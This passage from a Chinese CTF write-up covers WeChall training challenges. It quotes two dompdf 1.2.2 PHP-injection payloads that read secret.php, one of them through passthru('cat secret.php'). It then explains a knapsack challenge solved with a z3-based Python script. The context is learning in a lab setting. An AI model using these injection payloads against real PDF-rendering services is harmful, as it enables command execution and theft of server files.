第一位大哥分析了dompdf 1.2.2的源码后,利用script
标签执行代码把secret.php
的内容存到pdf里:
<script type="text/php">
$pdf->text(0, 0, file_get_contents("secret.php"), "Arial", 20);
</script>
第二位大佬连pdf都不生成了,直接把结果以html注释的形式返回到浏览器:
<script type="text/php">passthru('cat secret.php');exit();</script>
看了之后我自愧不如啊。做题时我下意识地觉得script
标签肯定会被过滤所以连试都没试,php学得也不好所以读不懂源码。
题目翻译(为了方便理解略作修改):
在这个编程挑战中你需要解决如下问题:
首先你会看到一个价目表,格式如下:
物品名1=价格1
物品名2=价格2
…
空行之后有4个参数,分别是物品数量(Items)、总价格(Sum),库存(Stock)参数和当前关卡(Level)。
你的任务是选出一些物品,使得这些物品的数量之和为Items,价格之和为Sum。并且每种类型的物品的数量不能超过Stock。
示例:
Chips = 4
Eggs = 2
Items = 5
Sum = 14
Stock = 3
Level = 1
一种被认可的答案是:2Chips3Eggs(2×4+3×2=14)
访问 problem.php 来请求一个新问题。
将你的答案以
<数量><物品名><数量><物品名>
的格式发送到answer.php?answer=[answer]你需要解决5道题,每道题的时间限制为3秒。
祝你好运!
这道题本质上是一个背包问题。我最开始使用贪心算法来求解,然后发现每次总价格都离Sum差一点点,所以必须用别的算法来求解。于是我使用z3-solver来解题。z3-solver是一个高级的理论求解器,可以解决许多约束规划问题。我们只需要把约束条件设置好,z3就能帮我们算出答案。想要进一步了解z3的话可以看下文档。以下是python代码,记得把Cookie改成自己的:
import requests from z3 import * session = requests.session() session.cookies.set('WC', '你的Cookie') def getProblem(): try: response = session.get('https://www.wechall.net/challenge/training/programming/knapsaak/problem.php') print(response.text) if 'restart' in response.text: return getProblem() return response.text except Exception as e: print('请求题目出错:', e) def sendAnswer(answer: str): try: response = session.get( f'https://www.wechall.net/challenge/training/programming/knapsaak/answer.php?answer=[{answer}]') print(response.text) return response.text except Exception as e: print('提交答案出错:', e) def convert(text: str): pricelist = {} # key为物品名,value为物品数量 info = {'Items': 0, 'Sum': 0, 'Stock': 0, 'Level': 0} lines = text.split('\n') isPriceList = True for line in lines: if len(line) == 0: isPriceList = False continue parts = line.split('=') if isPriceList: pricelist[parts[0]] = int(parts[1]) else: info[parts[0]] = int(parts[1]) return pricelist, info def solve(pricelist: dict, info: dict): s = Solver() x = {} for item in pricelist: x[item] = Int(item) s.add(x[item] >= 0, x[item] <= info['Stock']) s.add(sum(x[i] * pricelist[i] for i in pricelist) == info['Sum']) s.add(sum(x[i] for i in pricelist) == info['Items']) answer = '' if s.check() == sat: m = s.model() for item in x: num_part = str(m[x[item]].as_long()) if num_part == '0': continue answer += (num_part + item) print('answer:', answer) return answer for i in range(5): text = getProblem() pricelist, info = convert(text) print(pricelist) print(info) answer = solve(pricelist, info) sendAnswer(answer)
z3的求解速度非常快,3秒时间绰绰有余。运行完之后就通关了。然后大家可以去学习一下solutions分享区内大佬们的方法,有几份代码写得相当不错。
结语
至此Training系列全部结束。不过这个系列一直在更新,之后会有新的题出现,到时候我可能会再写几篇单独的文章。我本人能力有限,刚入门信息安全不久,如有错误请大家指出。
最后我想感谢一下Howy_why,这位大佬在csdn上发的文章让我受益匪浅。
通关之后我去看了一眼wechall上的PM(私信),居然是training系列的作者发消息鼓励我,哈哈。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。